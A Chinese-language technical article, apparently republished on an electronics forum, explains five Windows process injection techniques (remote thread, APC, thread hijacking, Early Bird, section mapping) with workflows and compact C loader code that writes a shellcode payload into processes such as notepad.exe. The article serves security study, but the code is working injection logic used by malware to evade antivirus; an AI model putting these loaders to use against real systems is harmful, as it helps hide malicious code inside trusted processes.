精品国产人成在线_亚洲高清无码在线观看_国产在线视频国产永久2021_国产AV综合第一页一个的一区免费影院黑人_最近中文字幕MV高清在线视频

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

在Windows中常見的進程注入手段介紹

蛇矛實驗室 ? 來源:蛇矛實驗室 ? 2023-07-30 15:34 ? 次閱讀

前言

進程注入是一種眾所周知的技術,惡意程序利用它在進程的內存中插入并執行代碼。

進程注入是一種惡意程序廣泛使用的防御規避技術。大多數情況下,惡意程序使用進程注入來動態運行代碼,這意味著實際的惡意代碼不需要直接寫入磁盤上的文件中,以避免被防病毒軟件的靜態檢測所發現。

簡單來說,進程注入就是將一段數據從一個進程傳輸到另一個進程的方法,這種注入過程可以發生在執行操作的同一進程(自注入)上,也可發生在外部進程上。在注入外部進程的情況下,攻擊者通常會選擇受信任的合法進程,例如正在運行的應用程序或系統進程,其目的是未經授權地訪問和操縱這些進程,同時也希望能夠隱藏自己注入的惡意代碼,以逃避安全軟件和防御者的檢測。

無論是在同一進程還是遠程進程中,為了在內存中注入和執行代碼,攻擊者會使用 Windows API 的不同組合。這些 API 在注入邏輯中有不同的用途,具體使用的函數調用數量和特定的 Windows API 可能會有所不同,這取決于所選的代碼注入方法。

已有多種方法實現在 Windows 進程空間內的代碼注入和執行,下面列出了常見的進程注入方法(以注入 shellcode 為例,注入 DLL 類似)。

ps:文中設計的示例代碼為了精簡,方便看清邏輯,并未添加相關錯誤處理。

傳統的遠程線程注入

該注入技術通過實例化遠程線程來實現在目標進程中的執行。

工作流程:

獲取目標進程的句柄

在目標進程中為 payload 分配空間

將 payload 寫入目標進程分配的空間中

創建一個線程執行注入代碼

intmain()
{
SIZE_T payloadLen = sizeof(payload);

DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteBuffer, NULL, 0, NULL);
WaitForSingleObject(hThread, 500);

return0;
}

根據該注入技術,可以拓展出許多基于該技術的變種,在獲取目標進程句柄上,惡意程序可以通過創建一個新的進程來實現(CreateProcess、CreateProcessWithLogonW、CreateProcessAsUser、NtCreateUserProcess 等),而不僅僅通過打開現有進程實現,獲取通過較低層次的 API(Native API)NtOpenProcess 來獲取目標進程句柄,在比如可以使用 NtWriteVirtualMemory 將數據寫入對方內存,使用類似 ZwCreateThreadEx、RtlCreateUserThread 等 API 來執行寫入的惡意代碼。

APC 注入

進程中每一個線程都存在一個 APC 隊列,當一個線程從等待狀態中蘇醒(線程調用 SlleepEx、SignalObjectAndWait、MsgWaitForMultiple、ObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx 函數時會進入可喚醒狀態),進入可警報狀態狀態的時候,系統遍歷該線程的 APC 隊列,然后按照 FIFO 的順序來執行 APC。在用戶模式下,我們可以像創建遠程線程一樣,使用 QueueUserAPC 把 APC 過程添加到目標線程的 APC 隊列中,等這個線程處于可警報狀態時,就會執行插入的 APC 過程了。更詳細的 APC 解釋可參考 Asynchronous Procedure Calls(鏈接:https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls)

工作流程:

獲取目標進程句柄

獲取目標進程任一線程句柄

在目標進程中為 payload 分配空間

將 payload 寫入目標進程分配的空間

將 APC 插入目標線程的 APC 隊列中

當這個線程處于可警報狀態時,惡意代碼將被執行,APC 注入的優點,避免了在目標進程中創建新的線程,使用異步過程調用去觸發惡意代碼的執行。但缺點也很明顯,惡意代碼被觸發執行的條件苛刻,被觸發的時機不確定。

intmain()
{
SIZE_T payloadLen = sizeof(payload);

DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hThread = FindThread(pid);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, NULL);
QueueUserAPC((PAPCFUNC)pRemoteBuffer, hThread, NULL);

return0;
}

Thread Hijacking 注入

該注入技術通過將目標線程的執行重定向到任意代碼來控制進程內執行流的技術。它允許攻擊者在不創建新進程或修改底層代碼的情況下操縱正在運行的進程的行為。

工作流程:

獲取目標進程句柄以及目標進程的任一線程句柄

在目標進程為 payload 分配一段空間

將 payload 寫入目標進程

掛起目標線程

獲取目標線程上下文

修改目標線程 RIP(x64)/EIP(x86)讓其指向存放 payload 的地址

提交劫持目標線程上下文

恢復被劫持的線程執行

intmain()
{
SIZE_T payloadLen = sizeof(payload);
CONTEXT ctx{};

DWORD pid = FindProcessIdByName(TEXT("notepad.exe"));
HANDLE hThread = FindThread(pid);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteBuffer = VirtualAllocEx(hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
SuspendThread(hThread);
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
#ifdef_WIN64
ctx.Rip = (DWORD_PTR)pRemoteBuffer;
#else
ctx.Eip = (DWORD_PTR)pRemoteBuffer;
#endif
SetThreadContext(hThread, &ctx);
ResumeThread(hThread);

return0;
}

Early Bird 注入

Early Bird 是一種簡單而強大的技術,實際上它是 APC 注入和 Thread Hijacking 注入的結合體,具體原理是在線程初始化時會調用 NTDLL 中的未導出函數 NtTestAlert,它是一個用于檢查當前線程的 APC 隊列的函數。如果隊列中有任何排隊的作業,NtTestAlert 會清空隊列。在線程啟動時,在執行任何其他操作之前,NtTestAlert 函數會被調用。因此,如果在線程的初始狀態下操作 APC,就可以成功執行惡意代碼。

工作流程:

創建一個處于掛起狀態的合法進程

在目標進程的內存空間中為 payload 分配內存

將 payload 寫入目標進程

將 APC 插入目標進程主線程的 APC 隊列中

恢復目標進程的主線程執行

intmain()
{
SIZE_T payloadLen = sizeof(payload);

TCHAR processName[] = TEXT("notepad.exe");

STARTUPINFO si{sizeof(si)};
PROCESS_INFORMATION pi{};
CreateProcess(NULL, processName, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
LPVOID pRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(pi.hProcess, pRemoteBuffer, (PVOID)payload, (SIZE_T)payloadLen, (SIZE_T*)NULL);
QueueUserAPC((PAPCFUNC)pRemoteBuffer, pi.hThread, NULL);
ResumeThread(pi.hThread);

return0;
}

在將 payload 寫入目標進程后,當惡意代碼被執行時,查看此時調用堆棧可以發現 NtTestAlert 函數被調用,可以發現導致惡意代碼被執行的流程是:

LdrInitializeThunk→ LdrpInitialize → _LdrpInitialize → NtTestAlert → KiUserApcDispatcher

7bbcc55c-2d2e-11ee-815d-dac502259ad0.png7bd442cc-2d2e-11ee-815d-dac502259ad0.png

Mapping 注入

通過利用 MapViewOfFile 相關函數,惡意代碼可以將攻擊者控制的現有節映射到目標進程中。這樣做的好處是不需要顯式地分配具有 RWX 權限的內存,并且避免了復制單獨有效載荷的需要。惡意代碼間接地成為目標進程內存空間的一部分,從而允許它在真正模塊的上下文中執行。

工作流程:

創建具有 RWX 保護屬性的映射對象

將映射對象映射到本地進程的虛擬地址空間中

將 payload 寫入到映射地址中

獲取目標進程句柄

將映射對象映射到遠程進程的虛擬地址空間中

創建一個線程執行注入代碼

intmain()
{
SIZE_T payloadLen = sizeof(payload);
DWORD pid = FindProcessIdByName(TEXT("pe-bear.exe"));

HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)payloadLen, NULL);
LPVOID pLocalView = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, payloadLen);
memcpy(pLocalView, payload, payloadLen);
HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
LPVOID pRemoteView = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL);
WaitForSingleObject(hThread, 500);

UnmapViewOfFile(pLocalView);
CloseHandle(hThread);
CloseHandle(hMapping);

return0;
}

總結

大多數進程注入技術的步驟如下(某些技術可能需要額外的步驟):

首先,需要獲取目標進程的句柄,這可以通過創建一個新的進程或使用 API 函數來查看運行中的進程來實現;

其次,需要準備好要注入的數據(shellcode、PE(exe、dll...));

然后,需要找到一種方法將準備好的數據傳輸到目標進程。這可以使用進程間通信(IPC)機制或一些系統 API 組合實現;

最后,需要執行注入的代碼,將準備好的數據在目標進程中運行起來

進程注入在惡意代碼開發中被大量使用,防御者也在研究越來越多的新技術,傳統的進程注入技術大多依賴于通用的 API,在一些高級的進程注入方法中,這些新的注入方法比傳統的注入手段更加復雜,這些注入方法針對目標進程的內部結構,而不僅僅依賴通用 API,這使得防御者更難檢測,在后續的文章中,將分析這些高級的注入方法,研究其實現原理。






審核編輯:劉清

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • dll
    dll
    +關注

    關注

    0

    文章

    115

    瀏覽量

    45379
  • RIP
    RIP
    +關注

    關注

    0

    文章

    31

    瀏覽量

    10747
  • 觸發器
    +關注

    關注

    14

    文章

    1996

    瀏覽量

    61052
  • 狀態機
    +關注

    關注

    2

    文章

    492

    瀏覽量

    27478
  • APC
    APC
    +關注

    關注

    0

    文章

    36

    瀏覽量

    11490

原文標題:進程注入系列Part 1 常見的進程注入手段

文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    FPGACPLD中常見模塊設計精華集錦

    FPGACPLD中常見模塊設計精華集錦
    發表于 08-17 22:22

    電源中常見的故障現象如何維修

    電源中常見的故障現象如何維修
    發表于 03-11 07:24

    尋求一種Si襯底上氮離子注入的有效單項監控手段

    如題,尋求一種Si襯底上N+離子注入的有效單項監控手段
    發表于 04-01 23:50

    無線移動數據接收中常見的問題

    討論一個無線移動數據接收中常見的問題。
    發表于 04-14 06:48

    平衡小車移植過程中常見的問題有哪些?

    平衡小車移植過程中常見的問題有哪些?
    發表于 11-10 06:19

    介紹開發者ESP8266開發中常見的一些問題

    ESP8266 wifi模塊開發匯總 ESP8266 wifi模塊開發匯總本文檔主要介紹開發者ESP8266開發中常見的一些問題。 這些問題主要包括以下幾大類:基本概念相關ESP8266 相關
    發表于 11-10 07:31

    WINDOWS核心編程 (pdf下載)

    WINDOWS核心編程:本書是講解Windows 操作系統內部機制的專著,作者從基本概念入手,全面系統地介紹Windows的各種基本構件,
    發表于 11-27 23:15 ?1009次下載
    <b class='flag-5'>WINDOWS</b>核心編程 (pdf下載)

    筆記本維修中常見的商家作弊手段曝光

    筆記本維修中常見的商家作弊手段曝光  從事筆記本維修行業數年了,多多少少接觸了,看到了筆記本行業中的種種不誠信行為,
    發表于 01-19 10:57 ?455次閱讀

    windows 2000 常見進程

    windows 2000 常見進程表 Internet 信息服務的管理單元管理 Web 和 FTP 服務。可執行文件的路徑:C:WINNTSystem32inetsrvinetinfo.exe服務名稱:cisvc顯
    發表于 02-01 12:03 ?571次閱讀

    windows應用程序讀取進程的內存工具免費下載

    本文檔的主要內容詳細介紹的是windows應用程序讀取進程的內存工具免費下載。
    發表于 05-27 08:00 ?1次下載

    MCU常見的加密手段

    MCU常見的加密手段
    發表于 10-25 16:36 ?16次下載
    MCU<b class='flag-5'>常見</b>的加密<b class='flag-5'>手段</b>

    PCB設計工作中常見的錯誤有哪些?

    一站式PCBA智造廠家今天為大家講講怎pcb設計過程中常見錯誤有哪些?PCB設計過程中常見錯誤歸納。接下來為大家介紹下PCB設計過程中常見錯誤。
    的頭像 發表于 05-23 09:02 ?1440次閱讀
    PCB設計工作<b class='flag-5'>中常見</b>的錯誤有哪些?

    理解STM32控制中常見的PID算法

    理解STM32控制中常見的PID算法
    的頭像 發表于 10-17 17:28 ?2367次閱讀
    理解STM32控制<b class='flag-5'>中常見</b>的PID算法

    常見進程間通信方式

    進程間通信 如果兩個進程,想要知道對方干嘛,或者進行協調運行,就需要進程間通信。下面介紹一下常見
    的頭像 發表于 10-08 15:48 ?1300次閱讀
    <b class='flag-5'>常見</b>的<b class='flag-5'>進程</b>間通信方式

    接線端子使用中常見的故障及解決方案

    電子發燒友網站提供《接線端子使用中常見的故障及解決方案.doc》資料免費下載
    發表于 11-01 11:00 ?0次下載
    接線端子<b class='flag-5'>在</b>使用<b class='flag-5'>中常見</b>的故障及解決方案